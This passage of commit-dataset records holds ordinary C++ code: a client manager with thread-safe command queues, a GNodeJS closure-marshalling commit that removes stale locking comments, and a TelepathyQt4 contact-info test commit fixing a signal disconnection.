{\n}\n\nCommand& Command::operator=( const Command &command ) {\n if (this != &command) {\n _command = command._command;\n _clientId = command._clientId;\n _contextId = command._contextId;\n }\n return *this;\n}\n\nCommand::~Command() {\n}\n\nint Command::getClientId() const {\n return _clientId;\n}\n\nint Command::getContextId() const {\n return _contextId;\n}\n\nconst std::string& Command::getValue() const {\n return _command;\n}\n\n\/* Client. *\/\n\nClient::Client( int id ) :\n _inCommands(MAX_CLIENT_QUEUE_LENGTH),\n _outCommands(MAX_CLIENT_QUEUE_LENGTH),\n _clientID(id) {\n}\n\nClient::~Client() {\n}\n\nvoid Client::disconnect() {\n}\n\nbool Client::isConnected() const {\n return true;\n}\n\nint Client::getID() const {\n return _clientID;\n}\n\nBlockingQueue<Command>& Client::getInQueue() {\n return _inCommands;\n}\n\nBlockingQueue<Command>& Client::getOutQueue() {\n return _outCommands;\n}\n\n\/* Client's manager *\/\n\nClientManager::ClientManager()\n : _log(LoggerFactory::getLogger()) {\n}\n\nClientManager::~ClientManager() {\n}\n\nvoid ClientManager::start() {\n}\n\nint ClientManager::addClient( Client *client ) {\n if( !client ) {\n _log.error( \"Cannot add NULL client.\" );\n return JSR_ERROR_ILLEGAL_ARGUMENT;\n }\n _mutex.lock();\n _clients.insert( std::pair<int,ClientWrapper>( client->getID(), ClientWrapper( client ) ) );\n _mutex.unlock();\n ClientEvent event(EVENT_CODE_CLIENT_ADDED, client->getID());\n fire(event);\n return JSR_ERROR_NO_ERROR;\n}\n\nvoid ClientManager::broadcast( Command &command ) {\n vector<int> ids;\n \/\/ Collect all clients identificators.\n _mutex.lock();\n for( map<int,ClientWrapper>::iterator it = _clients.begin(); it != _clients.end(); it++ ) {\n ids.push_back(it->first);\n }\n _mutex.unlock();\n \/\/ Now having all identificators collected, try to send commands to clients\n \/\/ that are in conjunction with these identificators.\n for( vector<int>::iterator it = ids.begin(); it != ids.end(); it++ ) {\n ClientPtrHolder<Client> client( *this, *it );\n \/\/ Ignore clients that have been removed in this time window.\n if( client ) {\n client->getOutQueue().add( command );\n }\n }\n}\n\nbool ClientManager::sendCommand( Command &command ) {\n bool result = true;\n if( command.getClientId() == Command::BROADCAST ) {\n broadcast( command );\n } else {\n ClientPtrHolder<Client> client( *this, command.getClientId() );\n if( client ) {\n client->getOutQueue().push( command );\n } else {\n result = false;\n }\n }\n return result;\n}\n\nvoid ClientManager::removeClient( Client *client ) {\n if( !client ) {\n _log.error( \"Cannot remove NULL client.\" );\n return;\n }\n int clientId = 0;\n int eventCode = 0;\n tryRemoveClient( client, eventCode );\n \/\/ Events cannot be fired inside the critical section\n \/\/ just because they might be blocked by actions which use\n \/\/ client manager from different threads, so it could\n \/\/ cause deadlocks.\n if( eventCode ) {\n ClientEvent event(eventCode, clientId);\n fire(event);\n }\n}\n\nbool ClientManager::tryRemoveClient(Client *client, int &eventCode) {\n \/\/ Only this block should be synchronized.\n MutexLock lock( _mutex );\n int clientId = client->getID();\n bool remove = false;\n \/\/ Remove the client if it exists.\n std::map<int,ClientWrapper>::iterator it = _clients.find( clientId );\n if( it != _clients.end() ) {\n ClientWrapper &wrapper = it->second;\n if( !wrapper.isMarkedToRemove() ) {\n if( wrapper.isRemovable() ) {\n remove = true;\n } else {\n wrapper.markRemove();\n eventCode = EVENT_CODE_CLIENT_MARKED_TO_REMOVE;\n }\n } else if ( wrapper.isRemovable() ) {\n remove = true;\n }\n if( remove ) {\n wrapper.deleteClient();\n _clients.erase( it );\n eventCode = EVENT_CODE_CLIENT_REMOVED;\n }\n }\n return remove;\n}\n\nClient* ClientManager::getClient( int id ) {\n MutexLock lock( _mutex );\n std::map<int,ClientWrapper>::iterator it = _clients.find( id );\n if( it != _clients.end() ) {\n return it->second.getClient();\n }\n return NULL;\n}\n\nvoid ClientManager::returnClient( Client *client ) {\n if( !client ) {\n _log.error( \"Cannot return NULL client.\" );\n return;\n }\n MutexLock lock( _mutex );\n std::map<int,ClientWrapper>::iterator it = _clients.find( client->getID() );\n if( it != _clients.end() ) {\n it->second.returnClient( client );\n } else {\n _log.error( \"Cannot return client with id: %d, because it doesn't exist in the manager.\", client->getID() );\n }\n}\n\nvoid ClientManager::periodicCleanup() {\n \/\/ Vector of clients that were removed.\n vector<int> removedClients;\n _mutex.lock();\n \/\/ Remove client's as soon as they can be removed.\n map<int,ClientWrapper>::iterator it = _clients.begin();\n while (it != _clients.end()) {\n if (it->second.isMarkedToRemove() && it->second.isRemovable()) {\n int clientId = it->second.getClient()->getID();\n it->second.deleteClient();\n map<int,ClientWrapper>::iterator toErase = it;\n ++it;\n _clients.erase(toErase);\n removedClients.push_back(clientId);\n } else {\n ++it;\n }\n }\n _mutex.unlock();\n \/\/ Fire events about removed clients.\n for( vector<int>::iterator it = removedClients.begin(); it != removedClients.end(); it++ ) {\n ClientEvent event(EVENT_CODE_CLIENT_REMOVED, *it);\n fire(event);\n }\n}\n\nint ClientManager::stop() {\n \/\/ Try to close and delete all existing clients. If any of them are in use yet,\n \/\/ they will be marked as 'to be removed' and can be removed further by calls\n \/\/ to 'periodicCleanup' its why the error code is returned.\n _mutex.lock();\n map<int,ClientWrapper> clients = _clients;\n vector<int> removedClients;\n for( map<int,ClientWrapper>::iterator it = clients.begin(); it != clients.end(); it++ ) {\n int eventCode;\n Client *client = it->second.getClient();\n int clientId = client->getID();\n if( tryRemoveClient( client, eventCode ) ) {\n removedClients.push_back( clientId );\n }\n }\n bool empty = _clients.empty();\n _mutex.unlock();\n \/\/ Fire events about removed clients.\n for( vector<int>::iterator it = removedClients.begin(); it != removedClients.end(); it++ ) {\n ClientEvent event(EVENT_CODE_CLIENT_REMOVED, *it);\n fire(event);\n }\n if( !empty ) {\n return JSR_ERROR_CANNOT_REMOVE_CONNECTIONS;\n }\n return JSR_ERROR_NO_ERROR;\n}\n\nint ClientManager::getClientsCount() {\n MutexLock lock( _mutex );\n int clients = _clients.size();\n return clients;\n}\n\nClientManager::ClientWrapper::ClientWrapper(Client *client) {\n this->client = client;\n this->counter = 0;\n this->removed = false;\n}\n\nClientManager::ClientWrapper::ClientWrapper(const ClientWrapper &cpy) {\n this->client = cpy.client;\n this->counter = cpy.counter;\n this->removed = cpy.removed;\n}\n\nClient* ClientManager::ClientWrapper::getClient() {\n counter++;\n return client;\n}\n\nvoid ClientManager::ClientWrapper::returnClient( Client *client ) {\n counter--;\n}\n\nbool ClientManager::ClientWrapper::isConnected() {\n return client && client->isConnected();\n}\n\nbool ClientManager::ClientWrapper::isRemovable() {\n return counter == 0;\n}\n\nvoid ClientManager::ClientWrapper::markRemove() {\n removed = true;\n}\n\nbool ClientManager::ClientWrapper::isMarkedToRemove() {\n return removed;\n}\n\nvoid ClientManager::ClientWrapper::deleteClient() {\n delete client;\n client = NULL;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <glib.h>\n#include <nan.h>\n\n#include \"closure.h\"\n#include \"macros.h\"\n#include \"loop.h\"\n#include \"type.h\"\n#include \"value.h\"\n\nusing v8::Context;\nusing v8::Function;\nusing v8::HandleScope;\nusing v8::Isolate;\nusing v8::Local;\nusing v8::Object;\nusing v8::Value;\nusing Nan::Persistent;\n\nnamespace GNodeJS {\n\nGClosure *Closure::New(Local<Function> function, guint signalId) {\n Closure *closure = (Closure *) g_closure_new_simple (sizeof(Closure), NULL);\n closure->persistent.Reset(function);\n GClosure *gclosure = &closure->base;\n g_closure_set_marshal (gclosure, Closure::Marshal);\n g_closure_add_invalidate_notifier (gclosure, NULL, Closure::Invalidated);\n return gclosure;\n}\n\nvoid Closure::Execute(const Nan::Persistent<v8::Function>& persFn, GValue *returnValue, uint nValues, const GValue *values) {\n Nan::HandleScope scope;\n auto fn = Nan::New<Function>(persFn);\n\n #ifndef __linux__\n Local<Value>* jsArgs = new Local<Value>[nValues];\n #else\n Local<Value> jsArgs[nValues];\n #endif\n\n for (uint i = 0; i < nValues; i++) {\n bool mustCopy = true; \/\/ TODO: get information about mustCopy\n jsArgs[i] = GValueToV8(&values[i], mustCopy);\n }\n\n Local<Object> self = fn;\n Local<Value> return_value;\n\n Nan::TryCatch try_catch;\n\n auto result = Nan::Call(fn, self, nValues, jsArgs);\n\n if (!try_catch.HasCaught()\n && result.ToLocal(&return_value)) {\n if (returnValue) {\n if (G_VALUE_TYPE(returnValue) == G_TYPE_INVALID)\n WARN (\"Marshal: return value has invalid g_type\");\n else if (!V8ToGValue (returnValue, return_value, true))\n WARN (\"Marshal: could not convert return value\");\n }\n CallMicrotaskHandlers();\n }\n else {\n GNodeJS::QuitLoopStack();\n Nan::FatalException(try_catch);\n }\n\n #ifndef __linux__\n delete[] jsArgs;\n #endif\n}\n\nvoid Closure::Marshal(GClosure *base,\n GValue *g_return_value,\n uint n_param_values,\n const GValue *param_values,\n gpointer invocation_hint,\n gpointer marshal_data) {\n auto closure = (Closure *) base;\n \/\/ We don't pass the implicit instance as first argument\n AsyncCallEnvironment* env = reinterpret_cast<AsyncCallEnvironment *>(Closure::asyncHandle.data);\n uv_thread_t thread = uv_thread_self();\n if (uv_thread_equal(&thread, &env->mainThread)) {\n Closure::Execute(closure->persistent, g_return_value, n_param_values - 1, param_values + 1);\n } else {\n CallbackWrapper* cb = new CallbackWrapper();\n cb->Prepare(&closure->persistent, g_return_value, n_param_values - 1, param_values + 1);\n\n uv_mutex_lock(&env->mutex);\n env->queue.push(cb);\n uv_mutex_unlock(&env->mutex);\n uv_async_send(&Closure::asyncHandle);\n\n cb->Wait();\n }\n}\n\nvoid Closure::Invalidated (gpointer data, GClosure *base) {\n Closure *closure = (Closure *) base;\n closure->~Closure();\n}\n\nuv_async_t Closure::asyncHandle;\n\nvoid Closure::QueueHandler(uv_async_t* handle) {\n AsyncCallEnvironment* data = reinterpret_cast<AsyncCallEnvironment *>(handle->data);\n uv_mutex_lock(&data->mutex);\n\n while (!data->queue.empty()) {\n CallbackWrapper* cb = data->queue.front();\n cb->Execute();\n data->queue.pop();\n delete cb;\n }\n\n uv_mutex_unlock(&data->mutex);\n}\n\nvoid Closure::Initialize() {\n auto& handle = Closure::asyncHandle;\n AsyncCallEnvironment* env = new AsyncCallEnvironment();\n handle.data = env;\n env->mainThread = uv_thread_self();\n uv_loop_t* loop = uv_default_loop();\n uv_async_init(loop, &handle, Closure::QueueHandler);\n uv_mutex_init(&env->mutex);\n uv_unref(reinterpret_cast<uv_handle_t *>(&handle));\n uv_async_send(&handle);\n}\n\n\nCallbackWrapper::CallbackWrapper() {\n uv_mutex_init(&mutex);\n\/\/ uv_mutex_lock(&mutex);\n uv_cond_init(&cond);\n}\n\nCallbackWrapper::~CallbackWrapper() {\n\/\/ uv_mutex_unlock(&mutex);\n uv_cond_destroy(&cond);\n uv_mutex_destroy(&mutex);\n}\n\nvoid CallbackWrapper::Execute() {\n Closure::Execute(*persistent, returnValue, nValues, values);\n Done();\n}\nvoid CallbackWrapper::Prepare(const Nan::Persistent<v8::Function>* persistentIn, GValue* returnValueIn, uint nValuesIn, const GValue* valuesIn) {\n \/\/ copy values\n persistent = persistentIn;\n returnValue = returnValueIn;\n nValues = nValuesIn;\n values = new GValue[nValues];\n for (uint i = 0; i < nValues; ++i) {\n values[i] = G_VALUE_INIT;\n g_value_init(&values[i], G_VALUE_TYPE(&valuesIn[i]));\n g_value_copy(&valuesIn[i], &values[i]);\n }\n}\n\nvoid CallbackWrapper::Done() {\n uv_mutex_lock(&mutex);\n uv_cond_signal(&cond);\n uv_mutex_unlock(&mutex);\n}\nvoid CallbackWrapper::Wait() {\n uv_cond_wait(&cond, &mutex);\n}\n\n};\n<commit_msg>Remove old locking code<commit_after>#include <glib.h>\n#include <nan.h>\n\n#include \"closure.h\"\n#include \"macros.h\"\n#include \"loop.h\"\n#include \"type.h\"\n#include \"value.h\"\n\nusing v8::Context;\nusing v8::Function;\nusing v8::HandleScope;\nusing v8::Isolate;\nusing v8::Local;\nusing v8::Object;\nusing v8::Value;\nusing Nan::Persistent;\n\nnamespace GNodeJS {\n\nGClosure *Closure::New(Local<Function> function, guint signalId) {\n Closure *closure = (Closure *) g_closure_new_simple (sizeof(Closure), NULL);\n closure->persistent.Reset(function);\n GClosure *gclosure = &closure->base;\n g_closure_set_marshal (gclosure, Closure::Marshal);\n g_closure_add_invalidate_notifier (gclosure, NULL, Closure::Invalidated);\n return gclosure;\n}\n\nvoid Closure::Execute(const Nan::Persistent<v8::Function>& persFn, GValue *returnValue, uint nValues, const GValue *values) {\n Nan::HandleScope scope;\n auto fn = Nan::New<Function>(persFn);\n\n #ifndef __linux__\n Local<Value>* jsArgs = new Local<Value>[nValues];\n #else\n Local<Value> jsArgs[nValues];\n #endif\n\n for (uint i = 0; i < nValues; i++) {\n bool mustCopy = true; \/\/ TODO: get information about mustCopy\n jsArgs[i] = GValueToV8(&values[i], mustCopy);\n }\n\n Local<Object> self = fn;\n Local<Value> return_value;\n\n Nan::TryCatch try_catch;\n\n auto result = Nan::Call(fn, self, nValues, jsArgs);\n\n if (!try_catch.HasCaught()\n && result.ToLocal(&return_value)) {\n if (returnValue) {\n if (G_VALUE_TYPE(returnValue) == G_TYPE_INVALID)\n WARN (\"Marshal: return value has invalid g_type\");\n else if (!V8ToGValue (returnValue, return_value, true))\n WARN (\"Marshal: could not convert return value\");\n }\n CallMicrotaskHandlers();\n }\n else {\n GNodeJS::QuitLoopStack();\n Nan::FatalException(try_catch);\n }\n\n #ifndef __linux__\n delete[] jsArgs;\n #endif\n}\n\nvoid Closure::Marshal(GClosure *base,\n GValue *g_return_value,\n uint n_param_values,\n const GValue *param_values,\n gpointer invocation_hint,\n gpointer marshal_data) {\n auto closure = (Closure *) base;\n \/\/ We don't pass the implicit instance as first argument\n AsyncCallEnvironment* env = reinterpret_cast<AsyncCallEnvironment *>(Closure::asyncHandle.data);\n uv_thread_t thread = uv_thread_self();\n if (uv_thread_equal(&thread, &env->mainThread)) {\n Closure::Execute(closure->persistent, g_return_value, n_param_values - 1, param_values + 1);\n } else {\n CallbackWrapper* cb = new CallbackWrapper();\n cb->Prepare(&closure->persistent, g_return_value, n_param_values - 1, param_values + 1);\n\n uv_mutex_lock(&env->mutex);\n env->queue.push(cb);\n uv_mutex_unlock(&env->mutex);\n uv_async_send(&Closure::asyncHandle);\n\n cb->Wait();\n }\n}\n\nvoid Closure::Invalidated (gpointer data, GClosure *base) {\n Closure *closure = (Closure *) base;\n closure->~Closure();\n}\n\nuv_async_t Closure::asyncHandle;\n\nvoid Closure::QueueHandler(uv_async_t* handle) {\n AsyncCallEnvironment* data = reinterpret_cast<AsyncCallEnvironment *>(handle->data);\n uv_mutex_lock(&data->mutex);\n\n while (!data->queue.empty()) {\n CallbackWrapper* cb = data->queue.front();\n cb->Execute();\n data->queue.pop();\n delete cb;\n }\n\n uv_mutex_unlock(&data->mutex);\n}\n\nvoid Closure::Initialize() {\n auto& handle = Closure::asyncHandle;\n AsyncCallEnvironment* env = new AsyncCallEnvironment();\n handle.data = env;\n env->mainThread = uv_thread_self();\n uv_loop_t* loop = uv_default_loop();\n uv_async_init(loop, &handle, Closure::QueueHandler);\n uv_mutex_init(&env->mutex);\n uv_unref(reinterpret_cast<uv_handle_t *>(&handle));\n uv_async_send(&handle);\n}\n\n\nCallbackWrapper::CallbackWrapper() {\n uv_mutex_init(&mutex);\n uv_cond_init(&cond);\n}\n\nCallbackWrapper::~CallbackWrapper() {\n uv_cond_destroy(&cond);\n uv_mutex_destroy(&mutex);\n}\n\nvoid CallbackWrapper::Execute() {\n Closure::Execute(*persistent, returnValue, nValues, values);\n Done();\n}\nvoid CallbackWrapper::Prepare(const Nan::Persistent<v8::Function>* persistentIn, GValue* returnValueIn, uint nValuesIn, const GValue* valuesIn) {\n \/\/ copy values\n persistent = persistentIn;\n returnValue = returnValueIn;\n nValues = nValuesIn;\n values = new GValue[nValues];\n for (uint i = 0; i < nValues; ++i) {\n values[i] = G_VALUE_INIT;\n g_value_init(&values[i], G_VALUE_TYPE(&valuesIn[i]));\n g_value_copy(&valuesIn[i], &values[i]);\n }\n}\n\nvoid CallbackWrapper::Done() {\n uv_mutex_lock(&mutex);\n uv_cond_signal(&cond);\n uv_mutex_unlock(&mutex);\n}\nvoid CallbackWrapper::Wait() {\n uv_cond_wait(&cond, &mutex);\n}\n\n};\n<|endoftext|>"} {"text":"<commit_before>#include <tests\/lib\/test.h>\n\n#include <tests\/lib\/glib-helpers\/test-conn-helper.h>\n\n#include <tests\/lib\/glib\/contacts-conn.h>\n\n#include <TelepathyQt4\/Connection>\n#include <TelepathyQt4\/Contact>\n#include <TelepathyQt4\/ContactManager>\n#include <TelepathyQt4\/PendingContacts>\n#include <TelepathyQt4\/PendingContactInfo>\n\n#include <telepathy-glib\/debug.h>\n\nusing namespace Tp;\n\nclass TestContactsInfo : public Test\n{\n Q_OBJECT\n\npublic:\n TestContactsInfo(QObject *parent = 0)\n : Test(parent), mConn(0), mContactsInfoFieldsUpdated(0)\n { }\n\nprotected Q_SLOTS:\n void onContactInfoFieldsChanged(const Tp::Contact::InfoFields &);\n\nprivate Q_SLOTS:\n void initTestCase();\n void init();\n\n void testInfo();\n\n void cleanup();\n void cleanupTestCase();\n\nprivate:\n TestConnHelper *mConn;\n int mContactsInfoFieldsUpdated;\n};\n\nvoid TestContactsInfo::onContactInfoFieldsChanged(const Tp::Contact::InfoFields &info)\n{\n Q_UNUSED(info);\n mContactsInfoFieldsUpdated++;\n mLoop->exit(0);\n}\n\nvoid TestContactsInfo::initTestCase()\n{\n initTestCaseImpl();\n\n g_type_init();\n g_set_prgname(\"contacts-info\");\n tp_debug_set_flags(\"all\");\n dbus_g_bus_get(DBUS_BUS_STARTER, 0);\n\n mConn = new TestConnHelper(this,\n TP_TESTS_TYPE_CONTACTS_CONNECTION,\n \"account\", \"me@example.com\",\n \"protocol\", \"foo\",\n NULL);\n QCOMPARE(mConn->connect(), true);\n}\n\nvoid TestContactsInfo::init()\n{\n initImpl();\n mContactsInfoFieldsUpdated = 0;\n}\n\nvoid TestContactsInfo::testInfo()\n{\n ContactManagerPtr contactManager = mConn->client()->contactManager();\n\n QVERIFY(contactManager->supportedFeatures().contains(Contact::FeatureInfo));\n\n QStringList validIDs = QStringList() << QLatin1String(\"foo\")\n << QLatin1String(\"bar\");\n QList<ContactPtr> contacts = mConn->contacts(validIDs, Contact::FeatureInfo);\n QCOMPARE(contacts.size(), validIDs.size());\n for (int i = 0; i < contacts.size(); i++) {\n ContactPtr contact = contacts[i];\n\n QCOMPARE(contact->requestedFeatures().contains(Contact::FeatureInfo), true);\n QCOMPARE(contact->actualFeatures().contains(Contact::FeatureInfo), true);\n\n QVERIFY(contact->infoFields().allFields().isEmpty());\n\n QVERIFY(connect(contact.data(),\n SIGNAL(infoFieldsChanged(const Tp::Contact::InfoFields &)),\n SLOT(onContactInfoFieldsChanged(const Tp::Contact::InfoFields &))));\n }\n\n GPtrArray *info_1 = (GPtrArray *) dbus_g_type_specialized_construct (\n TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST);\n {\n const gchar * const field_values[2] = {\n \"Foo\", NULL\n };\n g_ptr_array_add (info_1, tp_value_array_build (3,\n G_TYPE_STRING, \"n\",\n G_TYPE_STRV, NULL,\n G_TYPE_STRV, field_values,\n G_TYPE_INVALID));\n }\n GPtrArray *info_2 = (GPtrArray *) dbus_g_type_specialized_construct (\n TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST);\n {\n const gchar * const field_values[2] = {\n \"Bar\", NULL\n };\n g_ptr_array_add (info_2, tp_value_array_build (3,\n G_TYPE_STRING, \"n\",\n G_TYPE_STRV, NULL,\n G_TYPE_STRV, field_values,\n G_TYPE_INVALID));\n }\n\n TpHandle handles[] = { 0, 0 };\n TpHandleRepoIface *serviceRepo = tp_base_connection_get_handles(\n TP_BASE_CONNECTION(mConn->service()), TP_HANDLE_TYPE_CONTACT);\n\n for (unsigned i = 0; i < 2; i++) {\n handles[i] = tp_handle_ensure(serviceRepo, qPrintable(validIDs[i]),\n NULL, NULL);\n }\n\n tp_tests_contacts_connection_change_contact_info(TP_TESTS_CONTACTS_CONNECTION(mConn->service()),\n handles[0], info_1);\n tp_tests_contacts_connection_change_contact_info(TP_TESTS_CONTACTS_CONNECTION(mConn->service()),\n handles[1], info_2);\n\n while (mContactsInfoFieldsUpdated != 2) {\n QCOMPARE(mLoop->exec(), 0);\n }\n\n QCOMPARE(mContactsInfoFieldsUpdated, 2);\n\n mContactsInfoFieldsUpdated = 0;\n ContactPtr contactFoo = contacts[0];\n ContactPtr contactBar = contacts[1];\n\n QCOMPARE(contactFoo->infoFields().isValid(), true);\n QCOMPARE(contactFoo->infoFields().allFields().size(), 1);\n QCOMPARE(contactFoo->infoFields().allFields()[0].fieldName, QLatin1String(\"n\"));\n QCOMPARE(contactFoo->infoFields().allFields()[0].fieldValue[0], QLatin1String(\"Foo\"));\n QCOMPARE(contactBar->infoFields().isValid(), true);\n QCOMPARE(contactBar->infoFields().allFields().size(), 1);\n QCOMPARE(contactBar->infoFields().allFields()[0].fieldName, QLatin1String(\"n\"));\n QCOMPARE(contactBar->infoFields().allFields()[0].fieldValue[0], QLatin1String(\"Bar\"));\n\n Q_FOREACH (const ContactPtr &contact, contacts) {\n PendingOperation *op = contact->refreshInfo();\n QVERIFY(connect(op,\n SIGNAL(finished(Tp::PendingOperation*)),\n SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n QCOMPARE(mLoop->exec(), 0);\n }\n\n \/* nothing changed *\/\n QCOMPARE(mContactsInfoFieldsUpdated, 0);\n\n for (int i = 0; i < contacts.size(); i++) {\n ContactPtr contact = contacts[i];\n disconnect(contact.data(),\n SIGNAL(infoChanged(const Tp::ContactInfoFieldList &)),\n this,\n SLOT(onContactInfoChanged(const Tp::ContactInfoFieldList &)));\n }\n\n PendingContactInfo *pci = contactFoo->requestInfo();\n QVERIFY(connect(pci,\n SIGNAL(finished(Tp::PendingOperation*)),\n SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n while (!pci->isFinished()) {\n QCOMPARE(mLoop->exec(), 0);\n }\n\n QCOMPARE(pci->infoFields().isValid(), true);\n QCOMPARE(pci->infoFields().allFields().size(), 1);\n QCOMPARE(pci->infoFields().allFields()[0].fieldName, QLatin1String(\"n\"));\n QCOMPARE(pci->infoFields().allFields()[0].fieldValue[0], QLatin1String(\"Foo\"));\n\n g_boxed_free (TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST, info_1);\n g_ptr_array_unref (info_1);\n g_boxed_free (TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST, info_2);\n g_ptr_array_unref (info_2);\n}\n\nvoid TestContactsInfo::cleanup()\n{\n cleanupImpl();\n}\n\nvoid TestContactsInfo::cleanupTestCase()\n{\n QCOMPARE(mConn->disconnect(), true);\n delete mConn;\n\n cleanupTestCaseImpl();\n}\n\nQTEST_MAIN(TestContactsInfo)\n#include \"_gen\/contacts-info.cpp.moc.hpp\"\n<commit_msg>contacts-info test: Fix signal disconnection.<commit_after>#include <tests\/lib\/test.h>\n\n#include <tests\/lib\/glib-helpers\/test-conn-helper.h>\n\n#include <tests\/lib\/glib\/contacts-conn.h>\n\n#include <TelepathyQt4\/Connection>\n#include <TelepathyQt4\/Contact>\n#include <TelepathyQt4\/ContactManager>\n#include <TelepathyQt4\/PendingContacts>\n#include <TelepathyQt4\/PendingContactInfo>\n\n#include <telepathy-glib\/debug.h>\n\nusing namespace Tp;\n\nclass TestContactsInfo : public Test\n{\n Q_OBJECT\n\npublic:\n TestContactsInfo(QObject *parent = 0)\n : Test(parent), mConn(0), mContactsInfoFieldsUpdated(0)\n { }\n\nprotected Q_SLOTS:\n void onContactInfoFieldsChanged(const Tp::Contact::InfoFields &);\n\nprivate Q_SLOTS:\n void initTestCase();\n void init();\n\n void testInfo();\n\n void cleanup();\n void cleanupTestCase();\n\nprivate:\n TestConnHelper *mConn;\n int mContactsInfoFieldsUpdated;\n};\n\nvoid TestContactsInfo::onContactInfoFieldsChanged(const Tp::Contact::InfoFields &info)\n{\n Q_UNUSED(info);\n mContactsInfoFieldsUpdated++;\n mLoop->exit(0);\n}\n\nvoid TestContactsInfo::initTestCase()\n{\n initTestCaseImpl();\n\n g_type_init();\n g_set_prgname(\"contacts-info\");\n tp_debug_set_flags(\"all\");\n dbus_g_bus_get(DBUS_BUS_STARTER, 0);\n\n mConn = new TestConnHelper(this,\n TP_TESTS_TYPE_CONTACTS_CONNECTION,\n \"account\", \"me@example.com\",\n \"protocol\", \"foo\",\n NULL);\n QCOMPARE(mConn->connect(), true);\n}\n\nvoid TestContactsInfo::init()\n{\n initImpl();\n mContactsInfoFieldsUpdated = 0;\n}\n\nvoid TestContactsInfo::testInfo()\n{\n ContactManagerPtr contactManager = mConn->client()->contactManager();\n\n QVERIFY(contactManager->supportedFeatures().contains(Contact::FeatureInfo));\n\n QStringList validIDs = QStringList() << QLatin1String(\"foo\")\n << QLatin1String(\"bar\");\n QList<ContactPtr> contacts = mConn->contacts(validIDs, Contact::FeatureInfo);\n QCOMPARE(contacts.size(), validIDs.size());\n for (int i = 0; i < contacts.size(); i++) {\n ContactPtr contact = contacts[i];\n\n QCOMPARE(contact->requestedFeatures().contains(Contact::FeatureInfo), true);\n QCOMPARE(contact->actualFeatures().contains(Contact::FeatureInfo), true);\n\n QVERIFY(contact->infoFields().allFields().isEmpty());\n\n QVERIFY(connect(contact.data(),\n SIGNAL(infoFieldsChanged(const Tp::Contact::InfoFields &)),\n SLOT(onContactInfoFieldsChanged(const Tp::Contact::InfoFields &))));\n }\n\n GPtrArray *info_1 = (GPtrArray *) dbus_g_type_specialized_construct (\n TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST);\n {\n const gchar * const field_values[2] = {\n \"Foo\", NULL\n };\n g_ptr_array_add (info_1, tp_value_array_build (3,\n G_TYPE_STRING, \"n\",\n G_TYPE_STRV, NULL,\n G_TYPE_STRV, field_values,\n G_TYPE_INVALID));\n }\n GPtrArray *info_2 = (GPtrArray *) dbus_g_type_specialized_construct (\n TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST);\n {\n const gchar * const field_values[2] = {\n \"Bar\", NULL\n };\n g_ptr_array_add (info_2, tp_value_array_build (3,\n G_TYPE_STRING, \"n\",\n G_TYPE_STRV, NULL,\n G_TYPE_STRV, field_values,\n G_TYPE_INVALID));\n }\n\n TpHandle handles[] = { 0, 0 };\n TpHandleRepoIface *serviceRepo = tp_base_connection_get_handles(\n TP_BASE_CONNECTION(mConn->service()), TP_HANDLE_TYPE_CONTACT);\n\n for (unsigned i = 0; i < 2; i++) {\n handles[i] = tp_handle_ensure(serviceRepo, qPrintable(validIDs[i]),\n NULL, NULL);\n }\n\n tp_tests_contacts_connection_change_contact_info(TP_TESTS_CONTACTS_CONNECTION(mConn->service()),\n handles[0], info_1);\n tp_tests_contacts_connection_change_contact_info(TP_TESTS_CONTACTS_CONNECTION(mConn->service()),\n handles[1], info_2);\n\n while (mContactsInfoFieldsUpdated != 2) {\n QCOMPARE(mLoop->exec(), 0);\n }\n\n QCOMPARE(mContactsInfoFieldsUpdated, 2);\n\n mContactsInfoFieldsUpdated = 0;\n ContactPtr contactFoo = contacts[0];\n ContactPtr contactBar = contacts[1];\n\n QCOMPARE(contactFoo->infoFields().isValid(), true);\n QCOMPARE(contactFoo->infoFields().allFields().size(), 1);\n QCOMPARE(contactFoo->infoFields().allFields()[0].fieldName, QLatin1String(\"n\"));\n QCOMPARE(contactFoo->infoFields().allFields()[0].fieldValue[0], QLatin1String(\"Foo\"));\n QCOMPARE(contactBar->infoFields().isValid(), true);\n QCOMPARE(contactBar->infoFields().allFields().size(), 1);\n QCOMPARE(contactBar->infoFields().allFields()[0].fieldName, QLatin1String(\"n\"));\n QCOMPARE(contactBar->infoFields().allFields()[0].fieldValue[0], QLatin1String(\"Bar\"));\n\n Q_FOREACH (const ContactPtr &contact, contacts) {\n PendingOperation *op = contact->refreshInfo();\n QVERIFY(connect(op,\n SIGNAL(finished(Tp::PendingOperation*)),\n SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n QCOMPARE(mLoop->exec(), 0);\n }\n\n \/* nothing changed *\/\n QCOMPARE(mContactsInfoFieldsUpdated, 0);\n\n for (int i = 0; i < contacts.size(); i++) {\n ContactPtr contact = contacts[i];\n QVERIFY(disconnect(contact.data(),\n SIGNAL(infoFieldsChanged(const Tp::Contact::InfoFields &)),\n this,\n SLOT(onContactInfoFieldsChanged(const Tp::Contact::InfoFields &))));\n }\n\n PendingContactInfo *pci = contactFoo->requestInfo();\n QVERIFY(connect(pci,\n SIGNAL(finished(Tp::PendingOperation*)),\n SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n while (!pci->isFinished()) {\n QCOMPARE(mLoop->exec(), 0);\n }\n\n QCOMPARE(pci->infoFields().isValid(), true);\n QCOMPARE(pci->infoFields().allFields().size(), 1);\n QCOMPARE(pci->infoFields().allFields()[0].fieldName, QLatin1String(\"n\"));\n QCOMPARE(pci->infoFields().allFields()[0].fieldValue[0], QLatin1String(\"Foo\"));\n\n g_boxed_free (TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST, info_1);\n g_ptr_array_unref (info_1);\n g_boxed_free (TP_ARRAY_TYPE_CONTACT_INFO_FIELD_LIST, info_2);\n g_ptr_array_unref (info_2);\n}\n\nvoid TestContactsInfo::cleanup()\n{\n cleanupImpl();\n}\n\nvoid TestContactsInfo::cleanupTestCase()\n{\n QCOMPARE(mConn->disconnect(), true);\n delete mConn;\n\n cleanupTestCaseImpl();\n}\n\nQTEST_MAIN(TestContactsInfo)\n#include \"_gen\/contacts-info.cpp.moc.hpp\"\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 